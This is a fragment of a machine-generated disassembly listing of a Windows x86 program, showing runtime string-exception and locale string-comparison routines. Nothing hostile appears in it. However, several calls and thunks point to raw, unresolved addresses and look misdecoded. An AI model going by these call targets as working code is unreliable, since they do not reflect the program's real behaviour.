movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426452
movzx edx, al
test byte_4DC7E1[edx], 4
jz short loc_42643E
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_426449
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_42644D
jmp short loc_426446
; ---------------------------------------------------------------------------
loc_42643E: ; CODE XREF: sub_4263F1+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426452
loc_426446: ; CODE XREF: sub_4263F1+4Bj
inc ecx
jmp short loc_42640F
; ---------------------------------------------------------------------------
loc_426449: ; CODE XREF: sub_4263F1+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42644D: ; CODE XREF: sub_4263F1+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426452: ; CODE XREF: sub_4263F1+25j
; sub_4263F1+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4263F1 endp
; =============== S U B R O U T I N E =======================================
sub_426464 proc near ; CODE XREF: sub_417EEE+21p
; sub_42638A+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648B
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
pop ecx
test eax, eax
pop ecx
jz short loc_42648B
push esi
push eax
call sub_41BEB0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648B: ; CODE XREF: sub_426464+7j
; sub_426464+1Aj
xor eax, eax
pop esi
retn
sub_426464 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: sub_426573+19p
; sub_42669A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41AFE0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D6EF
mov eax, esi
pop esi
retn 8
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264BA proc near ; CODE XREF: ___:004264E5p
; sub_426568+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_40D6B3
mov ecx, esi
pop esi
jmp sub_4268B6
sub_4264BA endp
; =============== S U B R O U T I N E =======================================
sub_4264D5 proc near ; DATA XREF: ___:00427D10o
; ___:00427D20o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4264E1
mov eax, offset dword_4276A8
locret_4264E1: ; CODE XREF: sub_4264D5+5j
retn
sub_4264D5 endp
; ---------------------------------------------------------------------------
loc_4264E2: ; DATA XREF: ___:off_427D0Co
push esi
mov esi, ecx
call sub_4264BA
test byte ptr [esp+8], 1
jz short loc_4264F8
push esi
call sub_41CC83
pop ecx
loc_4264F8: ; CODE XREF: ___:004264EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264FE proc near ; CODE XREF: sub_426573+29p
mov eax, offset loc_426E32
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D28
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427D1C
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264FE endp
; =============== S U B R O U T I N E =======================================
sub_42654C proc near ; DATA XREF: ___:off_427D1Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426568
test [esp+4+arg_0], 1
jz short loc_426562
push esi
call sub_41CC83
pop ecx
loc_426562: ; CODE XREF: sub_42654C+Dj
mov eax, esi
pop esi
retn 4
sub_42654C endp
; =============== S U B R O U T I N E =======================================
sub_426568 proc near ; CODE XREF: sub_42654C+3p
; DATA XREF: ___:00428094o
mov dword ptr [ecx], offset off_427D1C
jmp sub_4264BA
sub_426568 endp
; =============== S U B R O U T I N E =======================================
sub_426573 proc near ; CODE XREF: sub_40D560+13p
; sub_40D724+Ep
mov eax, offset loc_426E44
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4264FE
push offset dword_428090
lea eax, [ebp-3Ch]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_426573 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p
; sub_4265D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D560
mov eax, esi
pop esi
retn 4
sub_4265B0 endp
; =============== S U B R O U T I N E =======================================
sub_4265D0 proc near ; CODE XREF: sub_42669A+29p
mov eax, offset loc_426E56
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D28
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4265D0 endp
; =============== S U B R O U T I N E =======================================
sub_426618 proc near ; CODE XREF: sub_426682+7p
; sub_4266DE+7p ...
mov eax, offset loc_426E68
call sub_41CC64
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42686C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D0C
call sub_4265B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426618 endp
; =============== S U B R O U T I N E =======================================
sub_42665B proc near ; DATA XREF: ___:off_427D48o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426677
test [esp+4+arg_0], 1
jz short loc_426671
push esi
call sub_41CC83
pop ecx
loc_426671: ; CODE XREF: sub_42665B+Dj
mov eax, esi
pop esi
retn 4
sub_42665B endp
; =============== S U B R O U T I N E =======================================
sub_426677 proc near ; CODE XREF: sub_42665B+3p
; DATA XREF: ___:0042813Co
mov dword ptr [ecx], offset off_427D48
jmp sub_4264BA
sub_426677 endp
; =============== S U B R O U T I N E =======================================
sub_426682 proc near ; CODE XREF: sub_4266F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D1C
mov eax, esi
pop esi
retn 4
sub_426682 endp
; =============== S U B R O U T I N E =======================================
sub_42669A proc near ; CODE XREF: sub_40D4B0+15p
; sub_40D509+15p ...
mov eax, offset loc_426E7A
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4265D0
push offset dword_428138
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427D48
call sub_4268D9
int 3 ; Trap to Debugger
sub_42669A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4266DE proc near ; CODE XREF: sub_4266F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D48
mov eax, esi
pop esi
retn 4
sub_4266DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4266F6 proc near ; DATA XREF: ___:00427D14o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426618
push offset dword_428178
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426714: ; DATA XREF: ___:00427D50o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4266DE
push offset dword_428138
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426732: ; DATA XREF: ___:00427D24o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426682
push offset dword_428090
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_4266F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426750 proc near
jmp near ptr 71B2ACCBh
sub_426750 endp
; ---------------------------------------------------------------------------
db 0E1h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep
; ___:00414BE5p ...
jmp near ptr 71AB1B7Bh
sub_426756 endp
; ---------------------------------------------------------------------------
db 0F0h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_42675C proc near ; CODE XREF: sub_41C8D0+23p
; sub_41CB74+13p
jmp near ptr 28520FAh
sub_42675C endp
; ---------------------------------------------------------------------------
db 0BBh
; =============== S U B R O U T I N E =======================================
sub_426762 proc near ; CODE XREF: sub_417275+E2p
; sub_417275+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DB334, 0
push ebx
jnz short loc_4267A8
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426774: ; CODE XREF: sub_426762+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426786
cmp bx, 41h
jb short loc_426786
add ebx, 20h
loc_426786: ; CODE XREF: sub_426762+19j
; sub_426762+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426798
cmp ax, 41h
jb short loc_426798
add eax, 20h
loc_426798: ; CODE XREF: sub_426762+2Bj
; sub_426762+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_4267D8
cmp bx, ax
jz short loc_426774
jmp short loc_4267D8
; ---------------------------------------------------------------------------
loc_4267A8: ; CODE XREF: sub_426762+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_4267B2: ; CODE XREF: sub_426762+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_426913
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_426913
pop ecx
test bx, bx
pop ecx
jz short loc_4267D6
cmp bx, ax
jz short loc_4267B2
loc_4267D6: ; CODE XREF: sub_426762+6Dj
pop edi
pop esi
loc_4267D8: ; CODE XREF: sub_426762+3Dj
; sub_426762+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_426762 endp
; =============== S U B R O U T I N E =======================================
sub_4267E2 proc near ; CODE XREF: ___:004267FAp
mov dword ptr [ecx], offset off_427D68
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4267F6
push ecx
call sub_41B0B1
pop ecx
locret_4267F6: ; CODE XREF: sub_4267E2+Bj
retn
sub_4267E2 endp
; ---------------------------------------------------------------------------
loc_4267F7: ; DATA XREF: ___:off_427D68o
push esi
mov esi, ecx
call sub_4267E2
test byte ptr [esp+8], 1
jz short loc_42680D
push esi
call sub_41CC83
pop ecx
loc_42680D: ; CODE XREF: ___:00426804j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_426813: ; DATA XREF: ___:off_427D70o
push esi
mov esi, ecx
call sub_4268B6
test byte ptr [esp+8], 1
jz short loc_426829
push esi
call sub_41CC83
pop ecx
loc_426829: ; CODE XREF: ___:00426820j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp
; sub_4265D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D70
push dword ptr [edi]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42685E
push dword ptr [edi]
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_42685E: ; CODE XREF: sub_42682F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42682F endp
; =============== S U B R O U T I N E =======================================
sub_42686C proc near ; CODE XREF: sub_426618+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D70
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4268A9
push dword ptr [edi+4]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4268AF
push dword ptr [edi+4]
push eax
call sub_41BEB0
pop ecx
pop ecx
jmp short loc_4268AF
; ---------------------------------------------------------------------------
loc_4268A9: ; CODE XREF: sub_42686C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4268AF: ; CODE XREF: sub_42686C+2Ej
; sub_42686C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42686C endp
; =============== S U B R O U T I N E =======================================
sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j
; ___:00426816p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D70
jz short locret_4268CB
push dword ptr [ecx+4]
call sub_41CC83
pop ecx
locret_4268CB: ; CODE XREF: sub_4268B6+Aj
retn
sub_4268B6 endp
; =============== S U B R O U T I N E =======================================
sub_4268CC proc near ; DATA XREF: ___:00427D74o
mov eax, [ecx+4]
test eax, eax
jnz short locret_4268D8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4268D8: ; CODE XREF: sub_4268CC+5j
retn
sub_4268CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268D9 proc near ; CODE XREF: sub_426573+37p
; sub_42669A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D90
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 26503FFh
pop edi
pop esi
leave
retn 8
sub_4268D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426913 proc near ; CODE XREF: sub_426762+56p
; sub_426762+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_426925
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_426925: ; CODE XREF: sub_426913+Bj
cmp dword_4DB334, 0
jnz short loc_42693F
cmp ax, 41h
jb short locret_426986
cmp ax, 5Ah
ja short locret_426986
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_42693F: ; CODE XREF: sub_426913+19j
cmp ax, 100h
jnb short loc_426959
push 1
push eax
call sub_426BC1
pop ecx
test eax, eax
pop ecx
jnz short loc_426959
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426959: ; CODE XREF: sub_426913+30j
; sub_426913+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DB334
call sub_426988
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426986
mov ax, [ebp+var_2]
locret_426986: ; CODE XREF: sub_426913+1Fj
; sub_426913+25j ...
leave
retn
sub_426913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426988 proc near ; CODE XREF: sub_426913+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DB0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DB58C, esi
jnz short loc_4269FE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427940
mov edi, 100h
push edi
push esi
nop
call near ptr 2640000h
test eax, eax
jz short loc_4269DC
mov dword_4DB58C, ebx
jmp short loc_4269FE
; ---------------------------------------------------------------------------
loc_4269DC: ; CODE XREF: sub_426988+4Aj
push esi
push esi
push ebx
push offset dword_4CAE2C
push edi
push esi
nop
call near ptr 2641042h
test eax, eax
jz loc_426B7D
mov dword_4DB58C, 2
loc_4269FE: ; CODE XREF: sub_426988+2Ej
; sub_426988+52j
cmp [ebp+arg_C], esi
jle short loc_426A13
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426B91
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_426A13: ; CODE XREF: sub_426988+79j
mov eax, dword_4DB58C
cmp eax, 1
jnz short loc_426A3A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2640000h
nop
jmp loc_426B7F
; ---------------------------------------------------------------------------
loc_426A3A: ; CODE XREF: sub_426988+93j
cmp eax, 2
jnz loc_426B7D
cmp [ebp+arg_18], esi
jnz short loc_426A50
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_426A50: ; CODE XREF: sub_426988+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 28110D0h
mov [ebp+var_20], eax
cmp eax, esi
jz loc_426B7D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426A96
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426A96: ; CODE XREF: sub_426988+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 28110D0h
nop
test eax, eax
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2641042h
nop
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_426B7D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426B19
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_426B19: ; CODE XREF: sub_426988+17Dj
cmp ebx, esi
jz short loc_426B7D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2641042h
test eax, eax
jz short loc_426B7D
test byte ptr [ebp+arg_4+1], 4
jz short loc_426B57
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426B79
cmp eax, edi
jl short loc_426B48
mov eax, edi
loc_426B48: ; CODE XREF: sub_426988+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41B5F0
add esp, 0Ch
jmp short loc_426B79
; ---------------------------------------------------------------------------
loc_426B57: ; CODE XREF: sub_426988+1B1j
cmp [ebp+arg_14], esi
jnz short loc_426B60
push esi
push esi
jmp short loc_426B66
; ---------------------------------------------------------------------------
loc_426B60: ; CODE XREF: sub_426988+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426B66: ; CODE XREF: sub_426988+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
nop
call near ptr 2820000h
mov edi, eax
cmp edi, esi
jz short loc_426B7D
loc_426B79: ; CODE XREF: sub_426988+1B8j
; sub_426988+1CDj
mov eax, edi
jmp short loc_426B7F
; ---------------------------------------------------------------------------
loc_426B7D: ; CODE XREF: sub_426988+66j
; sub_426988+B5j ...
xor eax, eax
loc_426B7F: ; CODE XREF: sub_426988+ADj
; sub_426988+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426988 endp
; =============== S U B R O U T I N E =======================================
sub_426B91 proc near ; CODE XREF: sub_426988+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426BB0
loc_426BA1: ; CODE XREF: sub_426B91+1Dj
cmp word ptr [eax], 0
jz short loc_426BB0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426BA1
loc_426BB0: ; CODE XREF: sub_426B91+Ej
; sub_426B91+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426BBE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426BBE: ; CODE XREF: sub_426B91+24j
mov eax, edx
retn
sub_426B91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BC1 proc near ; CODE XREF: sub_426913+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426C01
cmp [ebp+arg_0], 100h
jnb short loc_426BE5
movzx eax, [ebp+arg_0]
mov ecx, off_43C2FC
mov ax, [ecx+eax*2]
jmp short loc_426C08
; ---------------------------------------------------------------------------
loc_426BE5: ; CODE XREF: sub_426BC1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_426C13
add esp, 18h
test eax, eax
jnz short loc_426C05
loc_426C01: ; CODE XREF: sub_426BC1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426C05: ; CODE XREF: sub_426BC1+3Ej
mov eax, [ebp+var_4]
loc_426C08: ; CODE XREF: sub_426BC1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426BC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C13 proc near ; CODE XREF: sub_426BC1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DC8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DB590
xor edi, edi
cmp eax, edi
jnz short loc_426C82
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427940
push esi
nop
call near ptr 26000ACh
test eax, eax
jz short loc_426C60
mov eax, esi
jmp short loc_426C7D
; ---------------------------------------------------------------------------
loc_426C60: ; CODE XREF: sub_426C13+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CAE2C
push esi
push edi
call near ptr 2610000h
nop
test eax, eax
jz loc_426DC4
push 2
pop eax
loc_426C7D: ; CODE XREF: sub_426C13+4Bj
mov dword_4DB590, eax
loc_426C82: ; CODE XREF: sub_426C13+2Fj
cmp eax, 1
jnz short loc_426C9E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 26000ACh
jmp loc_426DC6
; ---------------------------------------------------------------------------
loc_426C9E: ; CODE XREF: sub_426C13+72j
cmp eax, 2
jnz loc_426DC4
cmp [ebp+arg_10], edi
jnz short loc_426CB4
mov eax, dword_4DB344
mov [ebp+arg_10], eax
loc_426CB4: ; CODE XREF: sub_426C13+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 28110D0h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426DC4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41B590
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426D12
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_426D12: ; CODE XREF: sub_426C13+EAj
cmp [ebp+var_2C], edi
jz loc_426DC4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 28110D0h
test eax, eax
jz loc_426DC4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426D67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426D67: ; CODE XREF: sub_426C13+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426DC4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426D7B
mov eax, dword_4DB334
loc_426D7B: ; CODE XREF: sub_426C13+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call near ptr 2610000h
nop
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426DC4
cmp word ptr [esi], 0FFFFh
jnz short loc_426DC4
push edi
push ebx
push [ebp+arg_C]
call sub_41CC90
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426DC6
; ---------------------------------------------------------------------------
loc_426DC4: ; CODE XREF: sub_426C13+61j
; sub_426C13+8Ej ...
xor eax, eax
loc_426DC6: ; CODE XREF: sub_426C13+86j
; sub_426C13+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426C13 endp
; =============== S U B R O U T I N E =======================================
sub_426DD8 proc near ; DATA XREF: ___:00427F7Co
; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D4A8
sub_426DD8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426DF6
mov ecx, [ebp+8]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
locret_426DF6: ; CODE XREF: ___:00426DE8j
retn
; ---------------------------------------------------------------------------
loc_426DF7: ; DATA XREF: sub_40D07Co
mov eax, offset dword_427F50
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E0C: ; DATA XREF: ___:00427FACo
lea ecx, [ebp-1Ch]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E14: ; DATA XREF: sub_40D21Eo
mov eax, offset dword_427F80
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 10h
loc_426E20: ; DATA XREF: sub_40D78Bo
mov eax, offset dword_427FB0
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E32: ; DATA XREF: sub_4264FEo
mov eax, offset dword_428010
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A8
; ---------------------------------------------------------------------------
loc_426E44: ; DATA XREF: sub_426573o
mov eax, offset dword_4280A8
jmp loc_41C91F
; ---------------------------------------------------------------------------
